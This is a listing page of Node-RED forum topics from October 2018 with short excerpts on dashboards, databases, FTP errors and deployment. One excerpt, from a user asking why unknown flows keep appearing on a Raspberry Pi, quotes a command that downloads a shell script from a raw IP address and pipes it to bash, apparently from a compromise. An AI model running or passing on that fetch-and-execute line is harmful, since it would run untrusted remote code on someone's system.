\ The function node is sending (excludes special character for mult… --- ## [Hue Magic - Dashboard slider for brightness ?!](https://discourse.nodered.org/t/hue-magic-dashboard-slider-for-brightness/3727)

**Author:** [@nodecentral](https://discourse.nodered.org/u/nodecentral)\ **Replies:** 14\ **Last updated:** [7 October 2018 09:46 UTC](https://discourse.nodered.org/t/hue-magic-dashboard-slider-for-brightness/3727 "2018-10-07T09:46:22Z")

Hi I’m struggling to make a dashboard slider work as a brightness level controller for a hue light bulb. I already have an injection node (below) with JavaScript that works to set a specific brightness level , it sends… --- ## [ObjectId Mongodb](https://discourse.nodered.org/t/objectid-mongodb/3612)

**Author:** [@number005](https://discourse.nodered.org/u/number005)\ **Replies:** 6\ **Last updated:** [6 October 2018 19:59 UTC](https://discourse.nodered.org/t/objectid-mongodb/3612 "2018-10-06T19:59:32Z")

Hi guys, I have inserted a few datasets into my mongodb. Worked fine with my "mongodb3" Node. Now I want to query one single data object, and I have the \_id of this object. Nevertheless I am not able to get it in the r… --- ## [Node namespace confusion on my part (?)](https://discourse.nodered.org/t/node-namespace-confusion-on-my-part/2144)

**Author:** [@ncherry](https://discourse.nodered.org/u/ncherry)\ **Replies:** 10\ **Last updated:** [6 October 2018 12:22 UTC](https://discourse.nodered.org/t/node-namespace-confusion-on-my-part/2144 "2018-10-06T12:22:39Z")

I have a working node (node-red-contrib-mytimeout) and I have a user who has 12 of these nodes in 1 tab. I'm investigating why some nodes, sometimes fails to finish counting down (see below),. I've seen this before occur… --- ## [New Window with msg.payload](https://discourse.nodered.org/t/new-window-with-msg-payload/3726)

**Author:** [@ryanjohnson00](https://discourse.nodered.org/u/ryanjohnson00)\ **Replies:** 3\ **Last updated:** [6 October 2018 09:43 UTC](https://discourse.nodered.org/t/new-window-with-msg-payload/3726 "2018-10-06T09:43:50Z")

This seems so easy but I have not been able to figure it out. I want to open a new window showing my msg.payload. The msg.payload is XML data so formatting it would be nice. One of two ways. I have a dropdown and wh… --- ## [More security considerations](https://discourse.nodered.org/t/more-security-considerations/3678)

**Author:** [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\ **Replies:** 2\ **Last updated:** [6 October 2018 09:41 UTC](https://discourse.nodered.org/t/more-security-considerations/3678 "2018-10-06T09:41:09Z")

Continuing the various threads about Node-RED security, I wanted to highlight another issue you may face. This is common to any NodeJS application. You can get security vulnerabilities via many channels of course. The o… --- ## [Select array-element from a database with the "form" node](https://discourse.nodered.org/t/select-array-element-from-a-database-with-the-form-node/3610)

**Author:** [@TimSchmidt](https://discourse.nodered.org/u/TimSchmidt)\ **Replies:** 4\ **Last updated:** [6 October 2018 08:25 UTC](https://discourse.nodered.org/t/select-array-element-from-a-database-with-the-form-node/3610 "2018-10-06T08:25:39Z")

Hi together, I built the folowing flow: I use it to get data from a database. I have to choose the element of the array manually. In my example it is element 1. This is the corresponding code: Node "Datenabfrage\_F… --- ## [Scrolling in EDIT window, strange things happening](https://discourse.nodered.org/t/scrolling-in-edit-window-strange-things-happening/3729)

**Author:** [@Trying\_to\_learn](https://discourse.nodered.org/u/Trying_to_learn)\ **Replies:** 2\ **Last updated:** [6 October 2018 07:04 UTC](https://discourse.nodered.org/t/scrolling-in-edit-window-strange-things-happening/3729 "2018-10-06T07:04:01Z")

Sorry folks, but this is a new one. NR 19.4. I am zoomed out a fair bit and am dragging the window around. (The view) I get this request popping up. See attached and note red rectangle around request. I can't capt… --- ## [Barcode Scanner Byte Array Conversion Node](https://discourse.nodered.org/t/barcode-scanner-byte-array-conversion-node/3639)

**Author:** [@jewendt](https://discourse.nodered.org/u/jewendt)\ **Replies:** 3\ **Last updated:** [6 October 2018 01:52 UTC](https://discourse.nodered.org/t/barcode-scanner-byte-array-conversion-node/3639 "2018-10-06T01:52:35Z")

Has anyone created a node that would convert a byte array to a string value? I created several nodes that do the job but I was wondering if anyone has created a single node that would do it. Seems like it would be usefu… --- ## [Best way to display this table?](https://discourse.nodered.org/t/best-way-to-display-this-table/3720)

**Author:** [@seth350](https://discourse.nodered.org/u/seth350)\ **Replies:** 2\ **Last updated:** [6 October 2018 01:48 UTC](https://discourse.nodered.org/t/best-way-to-display-this-table/3720 "2018-10-06T01:48:10Z")

More of a HTML question than a Node-Red question..I suppose? :pensive: I am receiving an object with multiple values from a Sql Server node. The object is structured as: I am able to put these values into a table us… --- ## [FTP Put Error flow dont start anymore](https://discourse.nodered.org/t/ftp-put-error-flow-dont-start-anymore/3713)

**Author:** [@b35b5dad43ea282b65d0](https://discourse.nodered.org/u/b35b5dad43ea282b65d0)\ **Replies:** 4\ **Last updated:** [5 October 2018 19:26 UTC](https://discourse.nodered.org/t/ftp-put-error-flow-dont-start-anymore/3713 "2018-10-05T19:26:37Z")

5 Oct 14:29:31 - Error: getaddrinfo ENOTFOUND ftp://hostname:21 at errnoException (dns.js:50:10) at GetAddrInfoReqWrap.onlookup \[as oncomplete\] (dns.js:92:26) Hi, I tried to send a file via ftp to an ftp server. But… --- ## [Invert does not invert msg.payload from a switch](https://discourse.nodered.org/t/invert-does-not-invert-msg-payload-from-a-switch/3715)

**Author:** [@Matthew](https://discourse.nodered.org/u/Matthew)\ **Replies:** 13\ **Last updated:** [5 October 2018 16:34 UTC](https://discourse.nodered.org/t/invert-does-not-invert-msg-payload-from-a-switch/3715 "2018-10-05T16:34:02Z")

If I connect a dashboard switch to a boolean invert, no inversion takes place when I activate the switch. In fact the status of the invert remains as 'unknown' and there is no output in debug. If I use a boolean inject t… --- ## [Dynamic table display problem](https://discourse.nodered.org/t/dynamic-table-display-problem/3717)

**Author:** [@bborncr](https://discourse.nodered.org/u/bborncr)\ **Replies:** 1\ **Last updated:** [5 October 2018 16:33 UTC](https://discourse.nodered.org/t/dynamic-table-display-problem/3717 "2018-10-05T16:33:34Z")

The table in the picture below should be expanded to include all 20 rows. I took this directly from this node-red tutorial. I have tried adding height,max-height and other directives. The worst thing is that sometimes it… --- ## [Running Node Red in Windows](https://discourse.nodered.org/t/running-node-red-in-windows/3697)

**Author:** [@dedynobre](https://discourse.nodered.org/u/dedynobre)\ **Replies:** 25\ **Last updated:** [5 October 2018 13:05 UTC](https://discourse.nodered.org/t/running-node-red-in-windows/3697 "2018-10-05T13:05:56Z")

Hello guys I'm running the red node with windows and would like to know how to automatically start it. With the task manager it did not work well. I configured using NSSM and until it starts but when I changed, for ex… --- ## [Node Red create Flows "automatically"](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692)

**Author:** [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\ **Replies:** 4\ **Last updated:** [5 October 2018 11:05 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692 "2018-10-05T11:05:34Z")

I have node red installed on Raspberry and every day when i open the monitor there is a new flow with unknown name access a server http://192.99.142.240:8220/mr.sh | bash -sh. Any Idea the reason for that? --- ## [Need help with a simple function](https://discourse.nodered.org/t/need-help-with-a-simple-function/3708)

**Author:** [@rednode](https://discourse.nodered.org/u/rednode)\ **Replies:** 6\ **Last updated:** [5 October 2018 09:19 UTC](https://discourse.nodered.org/t/need-help-with-a-simple-function/3708 "2018-10-05T09:19:25Z")

Hi, as a nodered /json noob i need some assistance from the crowd. i used the ping node to check if my devices are on or offline. the node sends ping results or if ping failes, a false result. now i want to rewrite th… --- ## [Node-Red in Docker Backup - Flows location](https://discourse.nodered.org/t/node-red-in-docker-backup-flows-location/3681)

**Author:** [@Gnomi](https://discourse.nodered.org/u/Gnomi)\ **Replies:** 6\ **Last updated:** [5 October 2018 08:49 UTC](https://discourse.nodered.org/t/node-red-in-docker-backup-flows-location/3681 "2018-10-05T08:49:45Z")

Hi, perhaps I have overseen it. But my Docker is always restarting after my last Node-Red flow extensions. perhaps due to the node-red-contrib-ccu node. I did not store some flows with export but have a docker .tar expo… --- ## [Longtime Charts](https://discourse.nodered.org/t/longtime-charts/3706)

**Author:** [@SirNoob](https://discourse.nodered.org/u/SirNoob)\ **Replies:** 3\ **Last updated:** [5 October 2018 08:15 UTC](https://discourse.nodered.org/t/longtime-charts/3706 "2018-10-05T08:15:31Z")

Hello, I want to show on my dashboard some charts until 3 weeks back. But after 5 days the dashboard gets really slow. I think so because there are to much datas. After restarting the flow its much faster now but i a… --- ## [== and === confusion](https://discourse.nodered.org/t/and-confusion/3642)

**Author:** [@edje11](https://discourse.nodered.org/u/edje11)\ **Replies:** 3\ **Last updated:** [5 October 2018 07:51 UTC](https://discourse.nodered.org/t/and-confusion/3642 "2018-10-05T07:51:54Z")

if (msg.payload\[i\].Active== 0) this will test fine and everything is working as it should be. However the editor in the function node gives me a warning Use '===' to compare with '0'. So if I change that to if (msg.pay… [Previous page](https://discourse.nodered.org/latest.md?page=1356) [Next page](https://discourse.nodered.org/latest.md?page=1358)